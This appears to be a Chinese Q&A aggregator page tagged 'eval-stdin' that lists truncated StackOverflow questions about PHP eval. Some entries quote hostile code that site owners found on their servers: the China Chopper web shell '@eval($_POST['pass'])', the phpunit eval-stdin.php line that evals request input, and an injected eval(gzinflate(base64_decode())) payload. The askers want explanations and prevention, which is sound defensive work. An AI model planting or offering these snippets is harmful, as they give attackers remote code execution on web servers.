草庐IT

eval-stdin

全部标签

php - 如何在不使用 eval() 的情况下从服务器动态加载和执行 Javascript?

我正在编写一个PHP框架,它允许PHP开发人员使用PHP类创建带有表单、网格、选项卡面板和菜单的ExtJS接口(interface)仅。例如,为了创建一个TabPanel,一个PHP类被一个URL数组实例化,当用户单击选项卡标题。为了做到这一点,我使用了以下Javascript函数,该函数通过AJAX调用加载PHP页面并执行其中的任何脚本。functionloadViewViaAjax(url){Ext.Ajax.request({url:url,success:function(objServerResponse){varresponseText=objServerResponse.

php - 在 wordpress 站点中找到 <?php @eval($_POST ['pass' ]);?> 代码

我在我的一个wordpress插件站点中找到了这段代码。我想它可能会被恶意使用,但它到底做了什么,我能否查明它是否调用了一些我应该注意的其他操作? 最佳答案 此PHP脚本属于ChinaChopper黑客工具包。https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html 关于php-在wordpress站点中找到代码,我们在StackOv

php - 由于 phpunit 恶意文件 eval-stdin.php,端口 80 在 cpanel 上被阻止

我已将googleplus登录添加到我的网站(托管在共享服务器上)。google登录通过composer.json组合依赖库时,phpunit库是作为一部分下载的。它包含一个文件phpunit\phpunit\src\Util\PHP\eval-stdin.php。由于这个文件,我的域的80端口被阻止,因为他们说这是一个恶意软件文件。存储库链接是https://github.com/sebastianbergmann/phpunit以下是eval-stdin.php文件中的代码eval('?>'.file_get_contents('php://input'));有没有替代此代码的方法

php - Json eval 无法解析数据

我有一个php程序,我只在其中测试一些示例数据。我收到错误消息,因为元素列表后缺少]。我该如何阅读?$dataDetailsList=array();array_push($dataDetailsList,array('a'=>'1','b'=>'2','c'=>'3','d'=>'4','e'=>'5'));echojson_encode(array("DataDetailsList"=>$dataDetailsList));然后在我的jQuery处理器中我这样做。functionrequestData(){$.ajax({url:'live-server-data.php',suc

php - 在没有 Eval 的情况下在字符串中执行 PHP 代码

目前正在开发一个“简单”的模板类,问题是如何在不使用eval的情况下在字符串中执行PHP代码?以下示例是我的模板类的工作方式:$user='Dave';ob_start();include'index.tpl';$content=ob_get_clean();//String$pattern=sprintf('/%s\s*(.+?)\s*%s/s','{{','}}');//replacewithphptags$new_content=preg_replace($pattern,'',$content);echo$new_content;索引.tplHello{{$user}}!我得到

php - WordPress 中使用 eval() 插件的漏洞示例

我继承了一个WordPress网站,该网站使用RunPHP插件在帖子之间执行PHP代码片段。我觉得这不是实现此类功能的最佳方式。但由于这是在很长一段时间内功能正确的遗留代码,我需要一些问题场景的可靠示例。对于那些不熟悉RunPHP的人来说,它是一个使用eval()执行嵌入在Post或Pagebody中的PHP代码的插件。代码块永远不会从用户那里收到,而是由网站所有者/内容创建者输入数据库。此插件在我们上下文中的用例如下。表单创建为Post,其提交操作设置为Page(我们称之为表单处理程序)。表单处理程序在其主体中包含PHP代码,并且为该页面激活了RunPHP插件。当提交表单时,表单处理

php - 如何让子进程在 PHP 中写回其父进程的 STDIN?

在PHP中,有没有办法让用pcntl_fork()fork的子进程将数据直接写回其父进程的标准输入?我不是说使用单独的管道——stdin资源本身?(它必须是标准输入,因为简而言之,除非它可以将自己的标准输入直接绑定(bind)到传入数据,否则父级正在做的事情将无法正常工作——单独的管道将无法工作。)如:$pid=pcntl_fork();if(!$pid){//dofunchildprocessstuff//writedatabacktoparent'sSTDIN} 最佳答案 在Linux上(不知道这对于Unix一般而言有多普遍),

stdin - 如何在新输入之前清除 php STDIN?

我有一个关于php-cli的新问题。我正在使用这个:define("STDIN",fopen('php://stdin','r'));$input="";while($input==""){echo"Pleaseenter:";$input=fread(STDIN,80);}问题是:如果我输入的字符超过80个,比如100个,则多余的20个字符会添加到下一个字符中。如何在每次输入前“清除”STDIN? 最佳答案 将fread()的length参数设置为更高的值(即1024、2048、10000)-它决定读取数据的最大长度通过fread

php - Symfony 控制台 - 未定义常量 STDIN

我最近将我的symfony项目上传到我的网络托管商。使用控制台时,每当我应该输入一些内容时,我都会收到以下错误。Notice:UseofundefinedconstantSTDIN-assumed'STDIN'in/htdocs/symfony/vendor/symfony/symfony/src/Symfony/Component/Console/Helper/DialogHelper.phpline80给出错误的文件在这里:https://github.com/symfony/Console/blob/master/Helper/DialogHelper.php第103行我假设我的

PHP eval(gzinflate(base64_decode(..))) hack - 如何防止它再次发生?

我们最近有一个网站被黑了,一些PHP代码被注入(inject)到index.php文件中,看起来像这样:eval(gzinflate(base64_decode('s127ezsS/...bA236UA1')));该代码导致包含另一个PHP文件(cnfg.php),这导致显示一些与药物相关的垃圾邮件(但仅对googlebot等人可见)。这看起来像是WordPress的pharmahack,只是我们没有运行WordPress。该代码已被删除,但我想防止将来发生此类事件。我意识到这是一个相当广泛的问题,可能存在无数的安全漏洞,但我认为我会把它放在那里,以防任何人过去遇到过此类问题。允许上传